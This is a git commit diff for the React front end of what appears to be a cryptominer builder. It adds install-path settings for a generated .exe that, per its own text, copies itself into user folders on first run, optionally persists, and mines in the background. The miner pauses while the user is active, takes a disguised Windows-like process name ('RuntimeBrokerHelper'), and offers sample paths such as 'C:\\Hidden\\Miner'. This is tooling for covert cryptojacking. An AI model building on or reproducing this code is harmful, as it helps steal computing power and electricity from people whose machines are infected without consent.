Add configurable install paths and enforce mining schedules.

Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
drjones
2026-05-26 23:39:51 -07:00
parent f7d6dcf542
commit 1313c553e7
20 changed files with 662 additions and 24 deletions

View File

@@ -3,6 +3,7 @@ import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import { SETUP_CHEATSHEET } from '../help/settingHelp';
import { previewInstallPath } from '../help/installPreview';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
@@ -29,6 +30,9 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
idle_duration_minutes: d.idle_duration_minutes,
schedule_start: d.schedule_start,
schedule_end: d.schedule_end,
install_base: d.install_base || 'localappdata',
install_custom_base: d.install_custom_base || '',
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
@@ -83,6 +87,10 @@ export default function BuilderPage() {
setError('Wallet address is required');
return;
}
if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
setError('Custom install base path is required when Install Base is Custom');
return;
}
setBuilding(true);
try {
@@ -112,6 +120,14 @@ export default function BuilderPage() {
);
}
const installPreview = previewInstallPath({
install_base: form.install_base,
install_custom_base: form.install_custom_base,
install_relative_path: form.install_relative_path,
worker_name: form.worker_name,
process_name: form.process_name,
});
return (
<div className="page fade-in">
<div className="page-header">
@@ -339,6 +355,44 @@ export default function BuilderPage() {
<div className="form-section">
<h3>Install & Process</h3>
<p className="form-description">
Double-clicking the built `.exe` embeds the miner on first run: copies itself to the path below,
optionally persists, then starts mining in the background.
</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select className="select" value={form.install_base}
onChange={(e) => updateField('install_base', e.target.value)}>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
<FieldHint field="install_base" />
</div>
{form.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input type="text" className="input mono" placeholder="C:\\Hidden\\Miner or %ProgramData%\\MyApp"
value={form.install_custom_base}
onChange={(e) => updateField('install_custom_base', e.target.value)} />
<FieldHint field="install_custom_base" />
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input type="text" className="input mono"
placeholder="CryptoMiner/{worker}-{build_short}"
value={form.install_relative_path}
onChange={(e) => updateField('install_relative_path', e.target.value)} />
<FieldHint field="install_relative_path" />
</div>
<div className="form-group">
<label className="label">Install Preview</label>
<code className="path-display">{installPreview}</code>
</div>
<div className="form-group">
<label className="label">Process Name <HelpTip field="process_name" /></label>
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"

View File

@@ -244,6 +244,46 @@ export default function SettingsPage() {
/>
</div>
</div>
<div className="form-section">
<h3>Install Location Defaults</h3>
<p className="section-desc">Where built installers embed the miner on first run.</p>
<div className="form-group">
<label className="label">Install Base Folder <HelpTip field="install_base" /></label>
<select
className="select"
value={config.default_agent_config.install_base || 'localappdata'}
onChange={(e) => updateField('default_agent_config.install_base', e.target.value)}
>
<option value="localappdata">Local App Data (%LOCALAPPDATA%)</option>
<option value="appdata">Roaming App Data (%APPDATA%)</option>
<option value="programdata">Program Data (%ProgramData%)</option>
<option value="userprofile">User Profile (%USERPROFILE%)</option>
<option value="temp">Temp Folder (%TEMP%)</option>
<option value="custom">Custom Path</option>
</select>
</div>
{config.default_agent_config.install_base === 'custom' && (
<div className="form-group">
<label className="label">Custom Base Path <HelpTip field="install_custom_base" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_custom_base || ''}
onChange={(e) => updateField('default_agent_config.install_custom_base', e.target.value)}
placeholder="%ProgramData%\\HiddenApps"
/>
</div>
)}
<div className="form-group">
<label className="label">Install Subfolder <HelpTip field="install_relative_path" /></label>
<input
type="text"
className="input mono"
value={config.default_agent_config.install_relative_path || 'CryptoMiner/{worker}-{build_short}'}
onChange={(e) => updateField('default_agent_config.install_relative_path', e.target.value)}
/>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Display Mode <HelpTip field="display_mode" /></label>